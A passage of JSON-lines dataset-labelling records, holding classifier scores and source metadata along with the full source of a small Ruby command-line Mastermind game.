9.504138113798521e-05, "Personal About Page": 5.6390038725099266e-05, "Personal Blog": 4.734449939186404e-05, "Product Page": 4.54751494182193e-05, "Spam / Ads": 8.685422796895175e-05, "Structured Data": 0.017291469809318612, "Technical Writing": 0.011280837551382096, "Transcript / Interview": 6.705912352962507e-05, "Tutorial / How-To Guide": 0.0006119143242472216, "User Reviews": 2.948578934952331e-05, "NONE": 0.9672948781087753}, "structured_records": {"false": 0.6812798609976363, "true": 0.3187201390023638}, "procedural_steps": {"false": 0.9993408903078826, "true": 0.0006591096921174013}, "worked_solution": {"false": 0.9998313533567817, "true": 0.00016864664321822944}, "contextual_dialogue": {"false": 0.9999955982657175, "true": 4.401734282497255e-06}, "content_quality": {"-2": 0.0035379843668379026, "-1": 0.011411314251845462, "0": 0.1604398692871575, "1": 0.5056880328845385, "2": 0.3189227992096208}, "noise_severity": {"0": 0.976004512349578, "1": 0.02146549567067566, "2": 0.001743293484878773, "3": 0.00045415482322787217, "4": 0.00033254367163963164}, "missing_content_severity": {"0": 0.9959637110663876, "1": 0.0027280816507194243, "2": 0.0008301070267376022, "3": 0.00036636955555317764, "4": 0.00011173070060219291}, "factual_density": {"0": 0.002970755060938705, "1": 0.005760807384642106, "2": 0.08579326615320365, "3": 0.3754904846934702, "4": 0.5299846867077455}, "pretraining_utility": {"-2": 0.01265377213933272, "-1": 0.17079905530453743, "0": 0.4652568638868093, "1": 0.3106392532726246, "2": 0.040651055396695994}, "math_density": {"0": 0.9997085799085299, "1": 0.00019945234025650833, "2": 2.6571689947194822e-05, "3": 1.6852585186245646e-05, "4": 4.854347608017571e-05}, "code_density": {"0": 0.00020555922203100205, "1": 0.0003773419331806981, "2": 0.007742465390951813, "3": 0.06050393925762218, "4": 0.9311706941962143}, "reasoning_density": {"0": 0.9663193963065445, "1": 0.026422400465347846, "2": 0.006386542250489524, "3": 0.0006076143268006533, "4": 0.00026404665081746257}, "education_level": {"none": 0.00122565360794162, "0": 0.001570305706409708, "1": 0.005290765331166413, "2": 0.5068143992302871, "3": 0.4311282073567687, "4": 0.05397066876742637}, "creative_writing_quality": {"not_applicable": 0.9997881210098499, "-2": 3.232167790867688e-05, "-1": 4.915999528626233e-05, "0": 9.024234069373583e-05, "1": 2.9395366588578736e-05, "2": 1.0759609672871863e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 7.493716756624566e-05, "Art & Design": 0.0001060327858919586, "Law & Crime": 0.00021814064711584327, "Education & Careers": 0.000226140608221501, "Entertainment & Media": 6.258975026424992e-05, "Fashion & Beauty": 0.00013751635479429815, "Business, Economics & Finance": 0.00021956134863003105, "Food & Dining": 6.616869191441248e-05, "Games & Gaming": 0.00015238012747399637, "Electronics & Hardware": 6.991479893712763e-05, "Health, Healthcare & Wellness": 0.00010621298432443784, "History & Geography": 4.168845430888353e-05, "Home, Pets & Hobbies": 5.2357647859651445e-05, "Industry & Production": 4.0473692912432486e-05, "Language, Literature & Philosophy": 4.887905915432665e-05, "Politics & Government": 4.3600780067199755e-05, "Religion & Spirituality": 5.0328981883020037e-05, "Science, Mathematics & Engineering": 0.00014600595803575757, "Relationships & Community": 0.0017238968076257375, "Software Usage & Applications": 0.016268248554410232, "Programming & Software Engineering": 0.9788817923336391, "Sports & Fitness": 0.00014091453595530432, "Vehicles & Transportation": 2.628286396561811e-05, "Travel & Tourism": 7.45139327639587e-05, "Other / Uncovered Subject": 0.0008903571920077055, "Unknown / Insufficient Content": 0.0001310639402769772}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0014118326358868627, "Art & Design": 0.0008737214702210423, "Law & Crime": 0.0048995351353458725, "Education & Careers": 0.0012727244398865053, "Entertainment & Media": 0.0006410949027217349, "Fashion & Beauty": 0.0004804070661364771, "Business, Economics & Finance": 0.001718368123927116, "Food & Dining": 0.0003204154164701675, "Games & Gaming": 0.0006899245812635489, "Electronics & Hardware": 0.00032529738357127397, "Health, Healthcare & Wellness": 0.0006249615183411503, "History & Geography": 0.0002456762931835741, "Home, Pets & Hobbies": 0.0003518707437911044, "Industry & Production": 0.00017661006723877597, "Language, Literature & Philosophy": 0.00020930354818737907, "Politics & Government": 0.00028306510065865707, "Religion & Spirituality": 0.00032781026753561085, "Science, Mathematics & Engineering": 0.0005025117854549915, "Relationships & Community": 0.0038242664953602647, "Software Usage & Applications": 0.04184803924110109, "Programming & Software Engineering": 0.021683618649287337, "Sports & Fitness": 0.0004747714402470451, "Vehicles & Transportation": 0.0001164582561616163, "Travel & Tourism": 0.0003461742440910046, "Other / Uncovered Subject": 0.002165508922906738, "NONE": 0.9141860322710231}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9650, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9650, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:30:14.869191+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "4f09e438-481e-454d-963a-a2f8d2a69054", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "c2157bdbebe75a35760dfd1cf84d6dcff290b510e660ab1f5c59db5d3a5287a6", "source_metadata": {"uuid": "4f09e438-481e-454d-963a-a2f8d2a69054", "repo_name": "Bae-To-be/hercules", "relative_path": "config/initializers/rails_admin.rb", "category": "CONFIG", "algo_rel_score": 0.9641836285591125, "quality_score": 7.097428798675537, "source_meta": {"github_metadata": {"branch": "main", "commit_count": 378, "repo_created_at": "2021-10-22T07:52:12.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "28676aaeb9a4fc674588123bda29b05d153f371a", "size_bytes": 4572, "file_timestamp": 1646046020, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "ccbac5aa851270aeeefa8125057ce8ac1ec98148"}}, "parsed_source_meta": {"github_metadata": {"branch": "main", "commit_count": 378, "repo_created_at": "2021-10-22T07:52:12.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "28676aaeb9a4fc674588123bda29b05d153f371a", "size_bytes": 4572, "file_timestamp": 1646046020, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "ccbac5aa851270aeeefa8125057ce8ac1ec98148", "url": "https://github.com/Bae-To-be/hercules/blob/ccbac5aa851270aeeefa8125057ce8ac1ec98148/config/initializers/rails_admin.rb"}, "gpt4o_tokens": 1130, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.1250463483182587, "noise_severity": 0.02764472179667535, "missing_content_severity": 0.005934327173262933, "factual_density": 3.4237575406024416, "pretraining_utility": 0.19583476448281373, "math_density": 0.0004973273800303377, "code_density": 3.9220568672728082, "reasoning_density": 0.04207451454999871, "education_level": 2.5312893448500122, "creative_writing_quality": -0.2968145408128203}, "score_applicability": {"education_level": 0.9987743463920583, "creative_writing_quality": 0.00021187899015012563}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/IngaMM/rb_mastermind/blob/e3cf1e18bbbd54c8d425eb5f499e533e4256c5da/mastermind.rb", "id": "ruby-0-d1c1aa17d21c1f71088f6c0dd29c9748", "text": "#!/usr/bin/ruby\n\nclass Board\n attr_accessor :guess, :feedback, :secret\n\n def initialize\n @guess = Array.new(12) { |i| i = [\"X\",\"X\",\"X\",\"X\"] }\n @feedback = Array.new(12) { |i| i = [\"X\",\"X\",\"X\",\"X\"] }\n @secret = Array.new(4) { |i| i = \"X\" }\n end\n\n def draw(win, secret_code)\n print \"-----------------\\n\"\n i = 0\n if win == false\n while i < @secret.length-1 do\n print \"| #{@secret[i]} \"\n i += 1\n end\n print \"| #{@secret[@secret.-1]} |\\n\"\n else #unveil the secret code if @win == true (= game was won or 12 rounds were played)\n while i < secret_code.length-1 do\n print \"| #{secret_code[i]} \"\n i += 1\n end\n print \"| #{secret_code[secret_code.length-1]} |\\n\"\n end\n print \"-----------------\\n\"\n\n\n j = @guess.length-1\n while j >= 0 do\n i = 0\n while i <= @guess[j].length do\n print \"| #{@guess[j][i]} \"\n i += 1\n end\n k = 0\n while k <= @feedback[j].length do\n print \"| #{@feedback[j][k]} \"\n k += 1\n end\n print \"\\n\"\n j -= 1\n end\n end\nend\n\nclass Player\n attr_accessor :name, :role_chose_code\n def initialize\n @name = \"\"\n @role_chose_code = false\n end\n\n def get_name\n puts \"What is your name?\"\n player = gets.chomp\n while player == \"\" do\n puts \"Give your name please!\"\n player = gets.chomp\n end\n @name = player.to_s\n puts \"Welcome #{@name}!\"\n end\n\n def chose_role\n answer = \"\"\n puts \"Would you like to choose the secret code? Please enter y(es) or n(o).\"\n answer = gets.chomp\n while answer != \"y\" && answer != \"n\" do\n puts answer\n puts \"Invalid choice. Please enter y(es) or n(o).\"\n answer = gets.chomp\n end\n if answer == \"y\"\n @role_chose_code = true\n end\n end\n\nend\n\nclass Game\n def initialize\n @colors = [\"Y\", \"O\", \"R\", \"P\", \"B\", \"G\"]\n @secret_code = []\n @board = []\n @counter = 0\n @player = \"\"\n @win = false\n @pos_and_color_preselect = [\"X\", \"X\", \"X\", \"X\"]\n end\n\n def play\n @player = Player.new\n @player.get_name\n @player.chose_role\n @board = Board.new\n chose_secret_code\n while @counter < 12 && @win == false do\n @player.role_chose_code == false ? \\\n @board.guess[@counter] = player_guess_or_select : \\\n @board.guess[@counter] = computer_guess\n @board.feedback[@counter] = give_feedback\n if @player.role_chose_code == true\n computer_evaluate #ensure correct treatment of items that were marked with \"x\" and \"o\"\n end\n check_win\n @board.draw(@win, @secret_code)\n @counter += 1\n end\n\n if @win == true\n puts \"The secret code has been found! Congratulations!\"\n elsif @win == false && @counter == 12\n @board.draw(true, @secret_code)\n puts \"Game over. The secret code was not found.\"\n end\n end\n\n private\n\n def chose_secret_code\n @secret_code = []\n if @player.role_chose_code == false\n @board.draw(@win, @secret_code)\n @secret_code = computer_select\n puts 'Secret code chosen. Please make your first guess.'\n else\n puts \"Chose the secret code.\"\n @board.draw(@win, @secret_code)\n @secret_code = player_guess_or_select\n puts \"Secret code chosen. The computer is starting to guess.\"\n end\n end\n\n def player_guess_or_select\n puts \"Choose four colors from: yellow (Y), orange (O), red (R), pink (P), blue (B) and green (G).\"\n puts \"Repetitions are possible. Enter as one string without spaces in between.\"\n choice = gets.chomp.split(\"\")\n x = choice.all? {|i| @colors.include?(i)}\n while (x == false || choice.length != 4) do #Check correct input\n puts \"Invalid choice. Please select exactly four valid colors.\"\n choice = gets.chomp.split(\"\")\n x = choice.all? {|i| @colors.include?(i)}\n end\n return choice\n end\n\n def computer_select\n choice = []\n i = 0\n while i < 4 do\n color = rand(@colors.length)\n choice[i] = @colors[color]\n i += 1\n end\n return choice\n end\n\n def computer_guess\n if @counter == 0\n choice = computer_select\n else\n choice = []\n choice.replace(@pos_and_color_preselect) #use preselection\n i = 0\n while i < 4 do\n if choice[i] == \"X\" #guess the values that are not preselected\n color = rand(@colors.length)\n choice[i] = @colors[color]\n end\n i += 1\n end\n end\n return choice\n end\n\n def give_feedback\n choice = @board.guess[@counter]\n secret_code_temp = []\n secret_code_temp.replace(@secret_code)\n\n i = 0\n j = 0\n feedback = [\"-\", \"-\", \"-\", \"-\"]\n\n while i < choice.length do #find items with correct position & color\n if choice[i] == @secret_code[i]\n feedback[i] = \"x\"\n secret_code_temp.delete_at(j)\n j -=1\n end\n i += 1\n j += 1\n end\n\n i = 0\n\n while i < feedback.length do #find items with correct color but wrong position\n if feedback[i] != \"x\" && secret_code_temp.include?(choice[i])\n feedback[i] = \"o\"\n secret_code_temp.delete_at(secret_code_temp.index(choice[i]))\n end\n i += 1\n end\n\n return feedback\n end\n\n def computer_evaluate\n index_free_choice = [0,1,2,3]\n\n @board.feedback[@counter].each_with_index do |item, index|\n if item == \"x\" #keep items with correct color and position\n @pos_and_color_preselect[index] = @board.guess[@counter][index]\n index_free_choice.delete(index)\n end\n end\n\n @board.feedback[@counter].each_with_index do |item, index|\n if item == \"o\" #new guess must include colors that were marked with \"o\"\n puts \"o at #{index}\"\n new_pos = rand(index_free_choice.length)\n puts \"new_pos #{index_free_choice[new_pos]}\"\n @pos_and_color_preselect[index_free_choice[new_pos]] = @board.guess[@counter][index]\n index_free_choice.delete_at(new_pos)\n puts index_free_choice.inspect\n end\n end\n end\n\n def check_win\n if @board.feedback[@counter] == [\"x\", \"x\", \"x\", \"x\"]\n @win = true\n end\n end\n\nend\n\ng = Game.new\ng.play\n", "text_preview": "#!/usr/bin/ruby class Board attr_accessor :guess, :feedback, :secret def initialize @guess = Array.new(12) { |i| i = [\"X\",\"X\",\"X\",\"X\"] } @feedback = Array.new(12) { |i| i = [\"X\",\"X\",\"X\",\"X\"] } @secret = Array.new(4) { |i| i = \"X\" } end def ", "input_sha256": "7ed29c9570aa40038cc815b94bb41703bb0a71bd33c78db70bfa8716864730e2", "text_sha256": "d1c1aa17d21c1f71088f6c0dd29c9748248c59f9ed96b200b3846af04c721925", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16026, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.3251861872730385, "noise_severity": 0.32860554370381023, "missing_content_severity": 0.25629705039372636, "factual_density": 3.376600530958524, "pretraining_utility": 0.4822148787663386, "math_density": 0.6254713004117793, "code_density": 3.881081692972694, "reasoning_density": 0.7667465409619507, "education_level": 1.7476745084462315, "creative_writing_quality": -0.33516990951376807}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.005847563206202833, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9934630825633999, "secondary": 0.9826942063305287, "tertiary": 0.9887960114152621, "structured_records": 0.007661733362751208, "procedural_steps": 0.018789686985721615, "worked_solution": 0.010936321819570608, "contextual_dialogue": 0.000651275052825235, "content_quality": 0.27217263807425374, "noise_severity": 0.7261620469134915, "missing_content_severity": 0.7864191246718948, "factual_density": 0.48050044246543655, "pretraining_utility": 0.4365813716563137, "math_density": 0.4787739163235172, "code_density": 0.9009014108105781, "reasoning_density": 0.36104454919837436, "education_level": 0.6604315499015735, "creative_writing_quality": 0.9961581435015358, "primary_topic": 0.9146987504928115, "secondary_topic": 0.5848579047621428}, "probability_margin": {"primary": 0.9893645255423801, "secondary": 0.9757196300619945, "tertiary": 0.9854136862855766, "education_level": 0.4612985612437912, "creative_writing_quality": 0.9949635917319926, "primary_topic": 0.8401331142113986, "secondary_topic": 0.26933637856044984}, "raw_probabilities": {"primary": {"Academic Writing": 3.227808102938862e-05, "Content Listing": 2.088210434089347e-05, "Creative Writing": 0.00017049370452847668, "Customer Support Page": 9.330962306013846e-06, "Q&A Forum": 1.2938515905368751e-05, "Discussion Thread": 9.378920085196746e-06, "Comment Section": 1.5422385964902463e-05, "Missing Content": 2.9229894211734652e-05, "Knowledge Article": 7.5618973973589e-05, "Legal Notices": 3.0780403788990925e-05, "News Article": 5.889994964738006e-06, "Organizational Announcement": 1.1179852966339887e-05, "Nonfiction Writing": 1.7892891305035448e-05, "Organizational About Page": 1.4383822122177045e-05, "Personal About Page": 1.825235815016102e-05, "Personal Blog": 9.623257636502909e-06, "Product Page": 8.96613779153237e-06, "Spam / Ads": 1.3106508573648663e-05, "Structured Data": 0.00042617777514494863, "Technical Writing": 0.9937354541232583, "Transcript / Interview": 2.2888717785073788e-05, "Tutorial / How-To Guide": 0.0009299430368247462, "User Reviews": 8.95899646420926e-06, "Other / Unknown": 0.004370928580878146}, "secondary": {"Academic Writing": 0.00010618022651643834, "Content Listing": 7.454272215778754e-05, "Creative Writing": 0.001433336084805838, "Customer Support Page": 4.778657063505653e-05, "Q&A Forum": 4.1717807535486404e-05, "Discussion Thread": 3.270489111552816e-05, "Comment Section": 7.638107659108088e-05, "Missing Content": 0.0006772631267566935, "Knowledge Article": 0.0002665742885119321, "Legal Notices": 0.0001136162841532877, "News Article": 4.808841451571311e-05, "Organizational Announcement": 4.44771216441561e-05, "Nonfiction Writing": 5.872461315422628e-05, "Organizational About Page": 5.574636281878765e-05, "Personal About Page": 6.773373863434519e-05, "Personal Blog": 4.732420703913183e-05, "Product Page": 2.9615847644286623e-05, "Spam / Ads": 5.952428789065546e-05, "Structured Data": 0.0029180162141696905, "Technical Writing": 0.007695651004762222, "Transcript / Interview": 0.00012141981344637482, "Tutorial / How-To Guide": 0.0025399185050396554, "User Reviews": 2.837572370491199e-05, "NONE": 0.9834152810667567}, "tertiary": {"Academic Writing": 7.663583479651197e-05, "Content Listing": 5.9917673481547734e-05, "Creative Writing": 0.001744416527907441, "Customer Support Page": 4.370098488834909e-05, "Q&A Forum": 2.8880428018980737e-05, "Discussion Thread": 2.5893236011185243e-05, "Comment Section": 6.591500590116647e-05, "Missing Content": 0.0010148973551986648, "Knowledge Article": 0.00027124326800060793, "Legal Notices": 0.00017225600263147026, "News Article": 3.987531044958827e-05, "Organizational Announcement": 3.376356243171212e-05, "Nonfiction Writing": 6.678459691621791e-05, "Organizational About Page": 5.588692193269285e-05, "Personal About Page": 4.340190050502558e-05, "Personal Blog": 3.7036126950047096e-05, "Product Page": 2.878520558985754e-05, "Spam / Ads": 5.4985671614266706e-05, "Structured Data": 0.0013449835142629503, "Technical Writing": 0.003849157987382979, "Transcript / Interview": 0.0001258651962835318, "Tutorial / How-To Guide": 0.0015288393519173491, "User Reviews": 2.403406396832892e-05, "NONE": 0.9892628442729595}, "structured_records": {"false": 0.9923382666372488, "true": 0.007661733362751208}, "procedural_steps": {"false": 0.9812103130142784, "true": 0.018789686985721615}, "worked_solution": {"false": 0.9890636781804294, "true": 0.010936321819570608}, "contextual_dialogue": {"false": 0.9993487249471747, "true": 0.000651275052825235}, "content_quality": {"-2": 0.044125387421210936, "-1": 0.15537395874015505, "0": 0.3309792437749856, "1": 0.3702318992716813, "2": 0.09928951079196706}, "noise_severity": {"0": 0.7512133850576144, "1": 0.19241490318761065, "2": 0.03856610339425102, "3": 0.012163999714397968, "4": 0.005641608646125904}, "missing_content_severity": {"0": 0.816990963268745, "1": 0.11983973872060842, "2": 0.05564292131608487, "3": 0.004934037737297892, "4": 0.0025923389572636187}, "factual_density": {"0": 0.009203352317242394, "1": 0.015018036392181026, "2": 0.09988025139980942, "3": 0.34177144779634455, "4": 0.5341269120944226}, "pretraining_utility": {"-2": 0.010838454255765384, "-1": 0.07742485815174353, "0": 0.4095786585522593, "1": 0.42299941265085084, "2": 0.07915861638938104}, "math_density": {"0": 0.7031790453716692, "1": 0.14571145849123018, "2": 0.04616896190635541, "3": 0.03234021881514269, "4": 0.07260031541560256}, "code_density": {"0": 0.00024357435242762746, "1": 0.00047377527427754876, "2": 0.016709828864541948, "3": 0.08310302606567929, "4": 0.8994697954430736}, "reasoning_density": {"0": 0.6599785703290558, "1": 0.09745951821531249, "2": 0.11143693806707039, "3": 0.07808674694174793, "4": 0.05303822644681343}, "education_level": {"none": 0.002268304951220742, "0": 0.007799816459541861, "1": 0.2557277303408534, "2": 0.7170262915846446, "3": 0.01478149045949962, "4": 0.0023963662042398443}, "creative_writing_quality": {"not_applicable": 0.9967984529179464, "-2": 0.0003123793155963946, "-1": 0.0007871900932705913, "0": 0.0018348611859538928, "1": 0.00019534649579726424, "2": 7.176999143512686e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 0.00012328190458887173, "Art & Design": 0.00024042049704123985, "Law & Crime": 0.00014653917190878484, "Education & Careers": 0.00010929444329385445, "Entertainment & Media": 0.00044927408016921864, "Fashion & Beauty": 9.539869973789273e-05, "Business, Economics & Finance": 0.00015573506662167554, "Food & Dining": 9.579107933355893e-05, "Games & Gaming": 0.0778464535701509, "Electronics & Hardware": 0.00012141053545194567, "Health, Healthcare & Wellness": 9.258924414889108e-05, "History & Geography": 0.00012983654009215186, "Home, Pets & Hobbies": 0.00018087589586620042, "Industry & Production": 0.00011878075373084657, "Language, Literature & Philosophy": 0.00013560984064734893, "Politics & Government": 4.7555354018760346e-05, "Religion & Spirituality": 0.00010546484330745804, "Science, Mathematics & Engineering": 0.0006624739442272367, "Relationships & Community": 7.641571185132737e-05, "Software Usage & Applications": 0.0003982464554674317, "Programming & Software Engineering": 0.9179795677815494, "Sports & Fitness": 0.00014985495873960227, "Vehicles & Transportation": 5.7565267958774874e-05, "Travel & Tourism": 0.00011434379584219188, "Other / Uncovered Subject": 0.00024119936874479383, "Unknown / Insufficient Content": 0.00012602119550941297}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0008666374598617206, "Art & Design": 0.0009341426221518424, "Law & Crime": 0.0005606269661091417, "Education & Careers": 0.00037231850733530095, "Entertainment & Media": 0.0020958791719628113, "Fashion & Beauty": 0.0003661039607271217, "Business, Economics & Finance": 0.0005341230540270564, "Food & Dining": 0.0003425566957402906, "Games & Gaming": 0.3314885298646875, "Electronics & Hardware": 0.000403077660371714, "Health, Healthcare & Wellness": 0.0003671700498245712, "History & Geography": 0.00042878616258148496, "Home, Pets & Hobbies": 0.0007661407952142199, "Industry & Production": 0.0003187746284415581, "Language, Literature & Philosophy": 0.00033732368810472185, "Politics & Government": 0.0002012427674658515, "Religion & Spirituality": 0.0004355088647495854, "Science, Mathematics & Engineering": 0.003299846127113444, "Relationships & Community": 0.0002337337339776541, "Software Usage & Applications": 0.0006131023258510188, "Programming & Software Engineering": 0.052394858782946495, "Sports & Fitness": 0.00035900677711855927, "Vehicles & Transportation": 0.00016957632477134684, "Travel & Tourism": 0.000512568904403601, "Other / Uncovered Subject": 0.0007734556793242599, "NONE": 0.6008249084251374}}, "probabilities": {"primary": {"Academic Writing": 3.227808102938862e-05, "Content Listing": 2.088210434089347e-05, "Creative Writing": 0.00017049370452847668, "Customer Support Page": 9.330962306013846e-06, "Q&A Forum": 1.2938515905368751e-05, "Discussion Thread": 9.378920085196746e-06, "Comment Section": 1.5422385964902463e-05, "Missing Content": 2.9229894211734652e-05, "Knowledge Article": 7.5618973973589e-05, "Legal Notices": 3.0780403788990925e-05, "News Article": 5.889994964738006e-06, "Organizational Announcement": 1.1179852966339887e-05, "Nonfiction Writing": 1.7892891305035448e-05, "Organizational About Page": 1.4383822122177045e-05, "Personal About Page": 1.825235815016102e-05, "Personal Blog": 9.623257636502909e-06, "Product Page": 8.96613779153237e-06, "Spam / Ads": 1.3106508573648663e-05, "Structured Data": 0.00042617777514494863, "Technical Writing": 0.9937354541232583, "Transcript / Interview": 2.2888717785073788e-05, "Tutorial / How-To Guide": 0.0009299430368247462, "User Reviews": 8.95899646420926e-06, "Other / Unknown": 0.004370928580878146}, "secondary": {"Academic Writing": 0.00010618022651643834, "Content Listing": 7.454272215778754e-05, "Creative Writing": 0.001433336084805838, "Customer Support Page": 4.778657063505653e-05, "Q&A Forum": 4.1717807535486404e-05, "Discussion Thread": 3.270489111552816e-05, "Comment Section": 7.638107659108088e-05, "Missing Content": 0.0006772631267566935, "Knowledge Article": 0.0002665742885119321, "Legal Notices": 0.0001136162841532877, "News Article": 4.808841451571311e-05, "Organizational Announcement": 4.44771216441561e-05, "Nonfiction Writing": 5.872461315422628e-05, "Organizational About Page": 5.574636281878765e-05, "Personal About Page": 6.773373863434519e-05, "Personal Blog": 4.732420703913183e-05, "Product Page": 2.9615847644286623e-05, "Spam / Ads": 5.952428789065546e-05, "Structured Data": 0.0029180162141696905, "Technical Writing": 0.007695651004762222, "Transcript / Interview": 0.00012141981344637482, "Tutorial / How-To Guide": 0.0025399185050396554, "User Reviews": 2.837572370491199e-05, "NONE": 0.9834152810667567}, "tertiary": {"Academic Writing": 7.663583479651197e-05, "Content Listing": 5.9917673481547734e-05, "Creative Writing": 0.001744416527907441, "Customer Support Page": 4.370098488834909e-05, "Q&A Forum": 2.8880428018980737e-05, "Discussion Thread": 2.5893236011185243e-05, "Comment Section": 6.591500590116647e-05, "Missing Content": 0.0010148973551986648, "Knowledge Article": 0.00027124326800060793, "Legal Notices": 0.00017225600263147026, "News Article": 3.987531044958827e-05, "Organizational Announcement": 3.376356243171212e-05, "Nonfiction Writing": 6.678459691621791e-05, "Organizational About Page": 5.588692193269285e-05, "Personal About Page": 4.340190050502558e-05, "Personal Blog": 3.7036126950047096e-05, "Product Page": 2.878520558985754e-05, "Spam / Ads": 5.4985671614266706e-05, "Structured Data": 0.0013449835142629503, "Technical Writing": 0.003849157987382979, "Transcript / Interview": 0.0001258651962835318, "Tutorial / How-To Guide": 0.0015288393519173491, "User Reviews": 2.403406396832892e-05, "NONE": 0.9892628442729595}, "structured_records": {"false": 0.9923382666372488, "true": 0.007661733362751208}, "procedural_steps": {"false": 0.9812103130142784, "true": 0.018789686985721615}, "worked_solution": {"false": 0.9890636781804294, "true": 0.010936321819570608}, "contextual_dialogue": {"false": 0.9993487249471747, "true": 0.000651275052825235}, "content_quality": {"-2": 0.044125387421210936, "-1": 0.15537395874015505, "0": 0.3309792437749856, "1": 0.3702318992716813, "2": 0.09928951079196706}, "noise_severity": {"0": 0.7512133850576145, "1": 0.19241490318761068, "2": 0.038566103394251025, "3": 0.01216399971439797, "4": 0.005641608646125905}, "missing_content_severity": {"0": 0.8169909632687452, "1": 0.11983973872060845, "2": 0.055642921316084885, "3": 0.0049340377372978925, "4": 0.002592338957263619}, "factual_density": {"0": 0.009203352317242394, "1": 0.015018036392181026, "2": 0.09988025139980942, "3": 0.34177144779634455, "4": 0.5341269120944226}, "pretraining_utility": {"-2": 0.010838454255765384, "-1": 0.07742485815174353, "0": 0.4095786585522593, "1": 0.42299941265085084, "2": 0.07915861638938104}, "math_density": {"0": 0.7031790453716692, "1": 0.14571145849123018, "2": 0.04616896190635541, "3": 0.03234021881514269, "4": 0.07260031541560256}, 